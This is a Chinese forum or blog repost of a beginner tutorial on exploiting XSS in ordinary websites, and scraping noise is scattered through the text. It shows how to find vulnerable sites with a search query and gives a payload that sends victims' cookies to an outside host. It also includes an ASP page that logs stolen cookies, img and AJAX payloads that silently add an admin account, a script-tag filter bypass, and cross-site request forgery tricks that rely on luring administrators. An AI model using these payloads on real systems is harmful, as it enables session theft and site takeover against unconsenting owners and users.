前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
2 g0 R8 f3 A/ z$ ?9 j0 j5 Q) m* v: P# A9 z! h8 e! L8 G2 n
http://tieba.baidu.com/f?kz=1069007239+ i M. e( U8 M% X
. T, g; k8 S) g, n+ c4 A; u8 b
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
- f' c# r9 b% y& ~) q" H! _, ^
0 y4 F0 x& ]8 q; t8 m但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。4 J! M3 O5 V1 J5 D
# g* A6 U$ ~6 p, ^5 u" w我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
( [$ d4 v% P. R6 z6 P7 q& K! x5 |) A/ X/ A$ _. u; [
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
& Q# q7 T- V) N- C9 w5 P7 U' W; H+ ]" a) \
好了,废话不多说了,一起来看文章吧。
% p6 T6 Y6 r: `; X9 r, ~, q8 |: Z2 l; I7 {
-------------------------------------------------------------------
/ i. U% a- P; n" a. m3 M) k s
; H5 R. X7 |; @: L( x; v首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
* t5 l' ^! Q3 U l7 c
0 s0 _2 g2 n7 k2 S: U" l; U% i : d* o2 G/ w1 {- }6 M; C
* }' F3 i$ p4 X3 l' @再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:- k) j- @. p! i4 l! n# ^9 K! p
: X s& {! \6 L& v; P6 O/ ]# E8 |: `
! E# P8 q8 b# S# \9 q ^
+ `* X7 P/ [$ Y# I7 t H t' y4 k这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是; w- ~. M$ b6 H
1:让目标访问已跨站的网址,然后这个网址执行脚本# N5 W5 G+ R5 M9 X' X; Y
2:然后跳转到你已经写好专门用来收集Cookie的网址
: U# J* B1 l9 S' g. X. P3 N2 w* z- ~2 D! @9 r
具体实现方法:" L8 j% N: h2 F3 x% V1 ~
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
8 p2 h" C E9 Q6 c5 U' F. N+ V这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。1 w) J8 |" s: G6 M( r7 W
7 T2 K. ]- W5 o3 s这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
5 [ _. h! c2 P: ?( n
3 b/ Z7 i: C9 S( m<html>
# J5 A' T. Z, V: B6 G<title>xx</title># B9 }" P, o( ?
<body>, I9 T" N V: K* t( R
<%
1 i" _. A, C" A; T1 M Q) y( Ttestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中* U0 }+ D. h K, _- D: c ?1 [
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值3 R7 j: C0 I, Y. }
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
2 a% U- E" P/ S3 P& u6 ]6 xset thisfile = fs.OpenTextFile(testfile,8,True,0)" `2 B& `) @4 L* ~" l3 t& q# ~. L
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie, u4 O) q9 f& Z: R' i
thisfile.close //关闭- R6 X( N- d1 e" R
set fs = nothing H1 K9 ~% S7 H3 I- q
%>+ r% Z* o% D4 _/ X2 v
</body>, }; l3 [0 L; |. Z
</html>5 a+ G) ~4 f1 y1 N- p
8 y' J1 Z, D, S$ V然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:: U' @; o- W# y2 M+ b5 L0 j
2 X, N& m* J( o+ n& y
+ ?9 y# \ J) F5 R% P1 a1 F4 U
2 d7 n6 E+ s8 K3 W* v
' r9 f8 K+ l, d" H, R r拿出来看看,呵呵,Cookie到手:
/ W( x) e# r$ H" O( l7 Y) E! b$ L* l4 _- v- Q" T; f; n3 _
+ J6 V) s3 x# |' p5 v- }& \
( C' \& ?* l% ~/ Y' h本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~9 H8 E* g+ N1 v; }1 j
' u5 u$ i% l5 \; m( L
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
. p/ U8 Q: O% e- ]9 ]& ]2 N$ w0 }- L2 A6 C8 i! j& |% C
-------------------------------------------------------------------
- w/ P- U' V. o8 D, }8 [
1 g' t' j6 o$ O* e3 u下面是我对这个帖子的回复,也一起贴过来吧:/ Y$ _$ R9 B) O8 q
5 B, U$ x0 v0 s3 I0 R说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。) o+ S' v a1 B6 O- D q1 R4 F' ?" v
' ~) t; N- b) h7 h f6 m# J4 B但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
9 @$ n) M# l! f, e- t再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
3 {) `& \3 l/ U, O0 |+ J+ O$ K" a) J2 }) S$ ?$ T c. ~8 O8 f: J
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
9 K8 V& x4 H" z8 o* N7 M2 _7 y! @8 X8 l1 S) T
http://user.qzone.qq.com/673116767/blog/1252452536
! ^' J! y' D9 r: V2 ]
) j" C8 ]3 N# u一般发现一个xss漏洞后要做的基本上就是这些:
% [) ?( k6 B' r4 b) w$ l9 K4 i9 A( G y
1. 伪造请求 使用$_REQUEST或$_GET
D8 B( ~7 U3 n1 @$ b4 e! g4 a4 N; Z5 T8 z
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
/ g# I, P7 k0 j+ y& Z, d. e) k<img src="/admin/admin_add.asp?name=xxx&psd=yyy" /># K7 Z8 n" Y6 v" {* C- K
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。8 Q: _6 C& }) U( q: @# q
' Z3 U' l9 o0 D
如果是可视文本编辑器,可以尝试使用输入:" B0 M# p! }( y1 y1 I( R3 I
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')( F4 O- e" O" ^+ E3 O9 M: m
这样最终会构造出:4 L2 D5 m6 F* _ [: y1 Q2 ~) K+ I
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" /> y7 x4 S2 Q! |) S! s& Y8 I
总之要举一反三。
! q; u8 q2 f2 p6 D& Z1 d2 a6 z1 m! b$ P7 {
2. 伪造请求 使用$_POST
" F5 V& S2 e' l# \
4 v1 @" k( s- R( i1 u1 |( ?当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:9 Z, u |6 t1 ~
<sc/*xss*/ript type="text/javascript">
+ A0 [6 F2 H3 G( O" |var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
$ h: {# J8 y. V9 a: R- Z6 R; \/ saj.open("POST", "/admin/admin_add.asp", false);
' i! l$ f4 _0 Xvar postdata = 'name=xxx&psd=yyy';
; Y9 ` r) G- i d; \' Daj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); . P, D& O- `6 A# B0 g) w
aj.send(postdata);
2 P( @% ?5 ^1 L0 G8 V</scr/*xss*/ipt>
Z! P; q) p8 H6 c' C* y/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
/ c; V) z& w* e2 E" S
: N7 |7 o3 _/ P) l8 S0 b3. 跨站伪造请求 使用$_GET 或 $_REQUEST
& D# C& j, p& F! g6 y& R+ H! ?: X. \/ Q" n- R f- {7 ~
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
. y3 ^( R! P) B<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>1 K \4 w% z5 U4 B/ M% x5 d
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
6 E0 _0 v3 l2 `3 a4 A! u
) ^% s; c9 h* f+ ^4.跨站伪造请求 使用$_POST(0day)
8 C7 t/ @- X i% v d1 f" q1 q+ k! R
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。6 o! t' f% I- K, k$ y8 ^4 E! i
, J0 m3 Q3 m/ K8 M/ M. o* n但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
1 J- G4 O" W3 `. S) ^% j( V3 ]& r4 g4 ^! m& h
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。: {2 g0 ]5 V" |, N# a' u$ o; x0 k# v
% K! t0 \9 J7 H
OK,该说的都说完了,Over。
( E) d7 k" x5 Z/ ~ |